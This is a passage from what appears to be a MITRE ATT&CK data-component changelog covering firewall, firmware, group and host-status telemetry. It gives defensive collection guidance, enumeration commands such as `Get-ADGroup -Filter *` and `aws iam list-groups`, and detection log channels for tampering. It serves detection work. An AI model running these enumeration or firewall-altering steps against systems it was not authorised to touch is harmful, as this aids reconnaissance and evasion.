-L` or `ufw status` using auditd: `auditctl -a always,exit -F arch=b64 -S execve -k firewall_enum`\n- macOS: Monitor logs for firewall-related queries via the Console app or log monitoring tools.\n\nSIEM Integration\n\n- Collect logs from endpoints and cloud platforms to centralize data and detect enumeration activity.\n\nEndpoint Detection and Response (EDR)\n\n- Use EDR tools to track enumeration commands or API calls performed on managed devices.\n\nCSPM Tools\n\n- Deploy Cloud Security Posture Management tools to monitor for unauthorized enumeration of firewall rules or configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0044\", \"external_id\": \"DC0044\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:17:06.404000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0053", + "external_id": "DC0053" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall Metadata", + "description": "Contextual information about firewalls, including their configurations, policies, status, and other details such as names and associated rules. This metadata provides valuable insights into the operational state and configurations of firewalls, both in cloud control planes and host systems. Examples: \n\n- Firewall Name and Configuration: The name, type, and purpose of a firewall such as \"Azure Firewall - Production Environment.\"\n- Policy Details: Capturing firewall policy details, such as \"Allow inbound TCP 443 to web servers.\"\n- Firewall Status: Status indicators like \"Active,\" \"Disabled,\" or \"Pending Updates.\"\n- Audit Log Metadata: Log entries showing administrative changes, such as \"Policy modified by admin@domain.com.\"\n- Rules Associated with Firewalls: Rules specifying source/destination IP ranges, protocols, and ports.\n- Tagging Information: Tags like \"Environment: Production\" or \"Owner: NetworkOps.\"\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Use Azure Activity Logs and Network Watcher to collect metadata for Azure Firewall.\n - Example: `az network firewall show --name `\n- AWS: Use AWS CloudTrail and describe commands: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract metadata: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: Use PowerShell to gather metadata: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux: Query iptables or nftables rulesets: `iptables -S`\n- macOS: Use pfctl to extract metadata: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances.\n\nAPI Monitoring\n\n- Monitor API calls for metadata requests. Example (AWS): `Capture DescribeSecurityGroups or DescribeNetworkAcls` calls via CloudTrail.\n\nEndpoint Detection and Response (EDR)\n\n- Use EDR solutions to monitor firewall management tools for configuration changes or queries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0053\", \"external_id\": \"DC0053\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:17:03.149000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.073000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0051", + "external_id": "DC0051" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firewall Rule Modification", + "description": "The creation, deletion, or alteration of firewall rules to allow or block specific network traffic. Monitoring changes to these rules is critical for detecting misconfigurations, unauthorized access, or malicious attempts to bypass network protections. Examples: \n\n- Rule Creation: Adding a new rule to allow inbound traffic on port 3389 (RDP).\n- Rule Deletion: Deleting a rule that blocks inbound traffic from untrusted IP ranges.\n- Rule Modification: Changing a rule to allow traffic from \"any\" source IP instead of a specific trusted range.\n- Audit Log Metadata: Logs indicating \"Firewall rule modified by admin@domain.com.\"\n- Platform-Specific Scenarios\n - Azure: Altering rules in an Azure Network Security Group (NSG).\n - AWS: Modifying Security Group rules to allow traffic.\n - Windows: Changes tracked in Security Event Logs (EID 4950 or 4951).\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Collect rule modification logs from Azure Firewall Activity Logs.\n - Example Command: `az network firewall policy rule-collection-group rule-collection list --policy-name `\n- AWS: Use CloudTrail to track `AuthorizeSecurityGroupIngress` or `RevokeSecurityGroupIngress` actions.\n Example: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract firewall rules: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: \n - Collect events from the Windows Security Event Log (EID 4950: A rule has been modified).\n - Use PowerShell to track rule changes: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux:\n - Monitor iptables or nftables rule modifications: `iptables -L -v`\n - Use auditd for real-time monitoring: `auditctl -w /etc/iptables.rules -p wa`\n- macOS: Use pfctl to monitor rule changes: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances for centralized monitoring.\n\nAPI Monitoring\n\n- Monitor API calls for firewall rule modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "Firewall Rule Modification" + }, + { + "name": "Firewall Audit Logs", + "channel": "Config Change" + }, + { + "name": "esxi:hostd", + "channel": "vSphere API calls modifying firewall settings" + }, + { + "name": "networkdevice:cli", + "channel": "firewall disable commands or suspicious ACL modifications" + }, + { + "name": "AWS:CloudTrail", + "channel": "AuthorizeSecurityGroupIngress" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "new rule allowing inbound or outbound connections for remote desktop software" + }, + { + "name": "networkdevice:Firewall", + "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window" + }, + { + "name": "linux:syslog", + "channel": "iptables or nftables rule changes" + }, + { + "name": "Firewall Audit Logs", + "channel": "Outbound NAT Rule Changes" + }, + { + "name": "AWS:CloudTrail", + "channel": "Create egress rule allowing UDP to port 53, 123, 11211" + }, + { + "name": "AWS:CloudTrail", + "channel": "Ingress rule creation or modification for security group" + }, + { + "name": "AWS:CloudTrail", + "channel": "New security group created with permissive rules" + }, + { + "name": "NSM:Firewall", + "channel": "Policy Change / Rule Update" + }, + { + "name": "NSM:Firewall", + "channel": "rule_modification: New or modified firewall rules related to wireless interfaces" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0051\", \"external_id\": \"DC0051\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"Firewall Rule Modification\"}, {\"name\": \"Firewall Audit Logs\", \"channel\": \"Config Change\"}, {\"name\": \"esxi:hostd\", \"channel\": \"vSphere API calls modifying firewall settings\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"firewall disable commands or suspicious ACL modifications\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AuthorizeSecurityGroupIngress\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall\", \"channel\": \"new rule allowing inbound or outbound connections for remote desktop software\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"update_rule: Access control or NAT rule modified or disabled outside maintenance window\"}, {\"name\": \"linux:syslog\", \"channel\": \"iptables or nftables rule changes\"}, {\"name\": \"Firewall Audit Logs\", \"channel\": \"Outbound NAT Rule Changes\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Create egress rule allowing UDP to port 53, 123, 11211\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Ingress rule creation or modification for security group\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"New security group created with permissive rules\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Policy Change / Rule Update\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"rule_modification: New or modified firewall rules related to wireless interfaces\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.073000+00:00\", \"old_value\": \"2025-04-18 15:16:56.720000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.020000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0004", + "external_id": "DC0004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firmware Modification", + "description": "Changes made to firmware, which may include its settings, configurations, or underlying data. This can encompass alterations to the Master Boot Record (MBR), Volume Boot Record (VBR), or other firmware components critical to system boot and functionality. Such modifications are often indicators of adversary activity, including malware persistence and system compromise. Examples: \n\n- Changes to Master Boot Record (MBR): Modifying the MBR to load malicious code during the boot process.\n- Changes to Volume Boot Record (VBR): Altering the VBR to redirect boot processes to malicious locations.\n- Firmware Configuration Changes: Modifying BIOS/UEFI settings such as disabling Secure Boot.\n- Firmware Image Tampering: Updating firmware with a malicious or unauthorized image.\n- Logs or Errors Indicating Firmware Changes: Logs showing unauthorized firmware updates or checksum mismatches.\n\nThis data component can be collected through the following measures:\n\n- BIOS/UEFI Logs: Enable and monitor BIOS/UEFI logs to capture settings changes or firmware updates.\n- Firmware Integrity Monitoring: Use tools or firmware security features to detect changes to firmware components.\n- Endpoint Detection and Response (EDR) Solutions: Many EDR platforms can detect abnormal firmware activity, such as changes to MBR/VBR or unauthorized firmware updates.\n- File System Monitoring: Monitor changes to MBR/VBR-related files using tools like Sysmon or auditd.\n - Windows Example (Sysmon): Monitor Event ID 7 (Raw disk access).\n - Linux Example (auditd): `auditctl -w /dev/sda -p wa -k firmware_modification`\n- Network Traffic Analysis: Capture firmware updates downloaded over the network, particularly from untrusted sources. Use network monitoring tools like Zeek or Wireshark to analyze firmware-related traffic.\n- Secure Boot Logs: Collect and analyze Secure Boot logs for signs of tampering or unauthorized configurations. Example: Use PowerShell to retrieve Secure Boot settings on Windows: `Confirm-SecureBootUEFI`\n- Vendor-Specific Firmware Tools: Many hardware vendors provide tools for firmware integrity checks.Examples:\n - Intel Platform Firmware Resilience (PFR).\n - Lenovo UEFI diagnostics.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Firmware", + "channel": "None" + }, + { + "name": "networkdevice:syslog", + "channel": "Image Upgrade / Configuration Change" + }, + { + "name": "networkdevice:config", + "channel": "Boot image path or firmware configuration variable modified outside of maintenance windows" + }, + { + "name": "WinEventLog:Microsoft-Windows-Kernel-Boot", + "channel": "Firmware integrity validation failed or boot configuration tampered" + }, + { + "name": "auditd:SYSCALL", + "channel": "write access to /dev/mem or /sys/firmware/efi/efivars" + }, + { + "name": "macos:unifiedlog", + "channel": "boot failure events or SMC validation errors" + }, + { + "name": "networkdevice:firmware", + "channel": "Firmware update initiated or bootloader tampering detected" + }, + { + "name": "networkdevice:config", + "channel": "Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)" + }, + { + "name": "networkdevice:config", + "channel": "Boot variable modified to point to non-standard or unsigned image" + }, + { + "name": "firmware:integrity ", + "channel": "Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines" + }, + { + "name": "auditd:SYSCALL", + "channel": "ioctl/write: Direct firmware update or device memory manipulation syscalls" + }, + { + "name": "firmware:smart", + "channel": "Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Firmware update events or kernel extension (kext) loads not signed by Apple" + }, + { + "name": "firmware:integrity", + "channel": "Baseline mismatch or unexpected EFI module detected during integrity checks" + }, + { + "name": "macos:osquery", + "channel": "Unexpected changes in EFI or NVRAM variables controlling hardware boot state" + }, + { + "name": "networkdevice:syslog", + "channel": "Custom firmware or routing changes" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Storage", + "channel": "Raw disk I/O operations bypassing NTFS APIs" + }, + { + "name": "firmware:runtime", + "channel": "Debug or memory access commands indicating attempts to alter OS instructions in memory" + }, + { + "name": "networkdevice:syslog", + "channel": "Boot information log showing image loaded from TFTP server instead of local storage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0004\", \"external_id\": \"DC0004\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Firmware\", \"channel\": \"None\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Image Upgrade / Configuration Change\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Boot image path or firmware configuration variable modified outside of maintenance windows\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Kernel-Boot\", \"channel\": \"Firmware integrity validation failed or boot configuration tampered\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"write access to /dev/mem or /sys/firmware/efi/efivars\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"boot failure events or SMC validation errors\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Firmware update initiated or bootloader tampering detected\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)\"}, {\"name\": \"networkdevice:config\", \"channel\": \"Boot variable modified to point to non-standard or unsigned image\"}, {\"name\": \"firmware:integrity \", \"channel\": \"Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ioctl/write: Direct firmware update or device memory manipulation syscalls\"}, {\"name\": \"firmware:smart\", \"channel\": \"Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Firmware update events or kernel extension (kext) loads not signed by Apple\"}, {\"name\": \"firmware:integrity\", \"channel\": \"Baseline mismatch or unexpected EFI module detected during integrity checks\"}, {\"name\": \"macos:osquery\", \"channel\": \"Unexpected changes in EFI or NVRAM variables controlling hardware boot state\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Custom firmware or routing changes\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Storage\", \"channel\": \"Raw disk I/O operations bypassing NTFS APIs\"}, {\"name\": \"firmware:runtime\", \"channel\": \"Debug or memory access commands indicating attempts to alter OS instructions in memory\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Boot information log showing image loaded from TFTP server instead of local storage\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.020000+00:00\", \"old_value\": \"2025-04-18 15:12:52.606000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:39.499000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0099", + "external_id": "DC0099" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Group Enumeration", + "description": "Extracting group lists from identity systems identifies permissions, roles, or configurations. Adversaries may exploit high-privilege groups or misconfigurations. Examples:\n\n- AWS CLI: `aws iam list-groups`\n- PowerShell: `Get-ADGroup -Filter *`\n- (Saas) Google Workspace: Admin SDK Directory API\n- Azure: `Get-AzureADGroup`\n- Microsoft 365: Graph API `GET https://graph.microsoft.com/v1.0/groups`\n\n*Data Collection Measures:*\n\n- Cloud Logging: Enable AWS CloudTrail, Azure Activity Logs, and Google Workspace Admin Logs for group-related actions.\n- Directory Monitoring: Track logs like AD Event ID 4662 (object operations).\n- API Monitoring: Log API activity like AWS IAM queries.\n- SaaS Monitoring: Use platform logs (e.g., Office 365 Unified Audit Logs).\n- SIEM Integration: Centralize group query tracking.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "ListGroups, ListAttachedRolePolicies" + }, + { + "name": "azure:audit", + "channel": "az ad user get-member-groups, Get-AzRoleAssignment" + }, + { + "name": "gcp:audit", + "channel": "cloudidentity.groups.list" + }, + { + "name": "saas:salesforce", + "channel": "GET /services/data/vXX.X/groups" + }, + { + "name": "saas:github", + "channel": "GET /orgs/:org/teams, GET /teams/:team/members" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0099\", \"external_id\": \"DC0099\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"ListGroups, ListAttachedRolePolicies\"}, {\"name\": \"azure:audit\", \"channel\": \"az ad user get-member-groups, Get-AzRoleAssignment\"}, {\"name\": \"gcp:audit\", \"channel\": \"cloudidentity.groups.list\"}, {\"name\": \"saas:salesforce\", \"channel\": \"GET /services/data/vXX.X/groups\"}, {\"name\": \"saas:github\", \"channel\": \"GET /orgs/:org/teams, GET /teams/:team/members\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.499000+00:00\", \"old_value\": \"2025-04-18 15:15:40.457000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8d8c7cac-94cf-4726-8989-cab33851168c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:39.577000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0105", + "external_id": "DC0105" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Group Metadata", + "description": "Group metadata includes attributes like name, permissions, purpose, and associated user accounts or roles, which adversaries may exploit for privilege escalation. Examples:\n\n- Active Directory: `Get-ADGroup -Identity \"Domain Admins\" -Properties Members, Description`\n- Azure AD: `Get-AzureADGroup -ObjectId `\n- Google Workspace: `GET https://admin.googleapis.com/admin/directory/v1/groups/`\n- AWS IAM: `aws iam list-group-policies --group-name `\n- Office 365: `GET https://graph.microsoft.com/v1.0/groups/`\n\n*Data Collection Measures:*\n\n- Cloud Logging:\n - AWS CloudTrail for IAM group-related activities.\n - Azure AD Sign-In/Audit logs for metadata changes.\n - Google Admin Activity logs for API calls.\n- Directory Logging: Log metadata access (e.g., Windows Event ID 4662).\n- API Monitoring: Log API calls to modify group metadata (e.g., Microsoft Graph API).\n- SIEM Integration: Centralize group metadata logs for analysis.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "m365:sharepoint", + "channel": "Enumerate ACLs/role bindings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0105\", \"external_id\": \"DC0105\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"m365:sharepoint\", \"channel\": \"Enumerate ACLs/role bindings\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.577000+00:00\", \"old_value\": \"2025-04-18 15:15:43.699000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--05d5b5b4-ef93-4807-b05f-33d8c5a35bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:40.086000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0094", + "external_id": "DC0094" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Group Modification", + "description": "Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup). Examples: \n\n- Active Directory:\n - Event ID 4728: Member added to a global group.\n - Event ID 4732: Member added to a local group.\n- Azure AD: `Set-AzureADGroup -ObjectId -DisplayName \"New Name\"`\n- AWS IAM: `aws iam update-group --group-name --new-path \"/admin/\"`\n- Google Workspace: Modify permissions via Admin SDK API: `PATCH https://admin.googleapis.com/admin/directory/v1/groups/`\n- Office 365: Modify groups via Graph API: `PATCH https://graph.microsoft.com/v1.0/groups/`\n\n*Data Collection Measures:*\n\n- Directory Logging:\n - Windows: Log EIDs 4728 (add), 4729 (remove).\n - Azure AD: Enable \"Audit logs.\"\n - Google Workspace: Enable Admin Activity logs.\n - Office 365: Use Unified Audit Logs.\n- Cloud Monitoring:\n - AWS: Log `UpdateGroup`, `AttachGroupPolicy`, `RemoveUserFromGroup`.\n - Azure: Track modifications via Audit logs.\n- API Monitoring: Log Google Admin SDK and Microsoft Graph API calls.\n- SIEM Integration: Centralize and monitor group modification logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "m365:unified", + "channel": "Add member to group" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0094\", \"external_id\": \"DC0094\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"m365:unified\", \"channel\": \"Add member to group\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.086000+00:00\", \"old_value\": \"2025-04-18 15:15:46.920000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:37.544000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0018", + "external_id": "DC0018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Host Status", + "description": "Logging, messaging, and other artifacts that highlight the health and operational state of host-based security sensors, such as Endpoint Detection and Response (EDR) agents, antivirus software, logging services, and system monitoring tools. Monitoring sensor health is essential for detecting misconfigurations, sensor failures, tampering, or deliberate security control evasion by adversaries.\n\n*Data Collection Measures:*\n\n- Windows Event Logs:\n - Event ID 1074 (System Shutdown): Detects unexpected system reboots/shutdowns.\n - Event ID 6006 (Event Log Stopped): Logs when Windows event logging is stopped.\n - Event ID 16 (Sysmon): Detects configuration state changes that may indicate log tampering.\n - Event ID 12 (Windows Defender Status Change) \u2013 Detects changes in Windows Defender state.\n- Linux/macOS Monitoring:\n - `/var/log/syslog`, `/var/log/auth.log`, `/var/log/kern.log`\n - Journald (journalctl) for kernel and system alerts.\n- Endpoint Detection and Response (EDR) Tools:\n - Monitor agent health status, detect sensor tampering, and alert on missing telemetry.\n- Mobile Threat Intelligence Logs:\n - Samsung Knox, SafetyNet, iOS Secure Enclave provide sensor health status for mobile endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Sensor Health", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "interface_details " + }, + { + "name": "Windows:perfmon", + "channel": "Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)" + }, + { + "name": "macos:unifiedlog", + "channel": "Web service process (e.g., httpd) entering crash loop or consuming excessive CPU" + }, + { + "name": "AWS:CloudWatch", + "channel": "Sustained spike in CPU usage on EC2 instance with web service role" + }, + { + "name": "WinEventLog:System", + "channel": "System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations" + }, + { + "name": "linux:syslog", + "channel": "Out of memory killer invoked or kernel panic entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Spike in CPU or memory use from non-user-initiated processes" + }, + { + "name": "AWS:CloudWatch", + "channel": "StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)" + }, + { + "name": "kubernetes:events", + "channel": "CrashLoopBackOff, OOMKilled, container restart count exceeds threshold" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=16" + }, 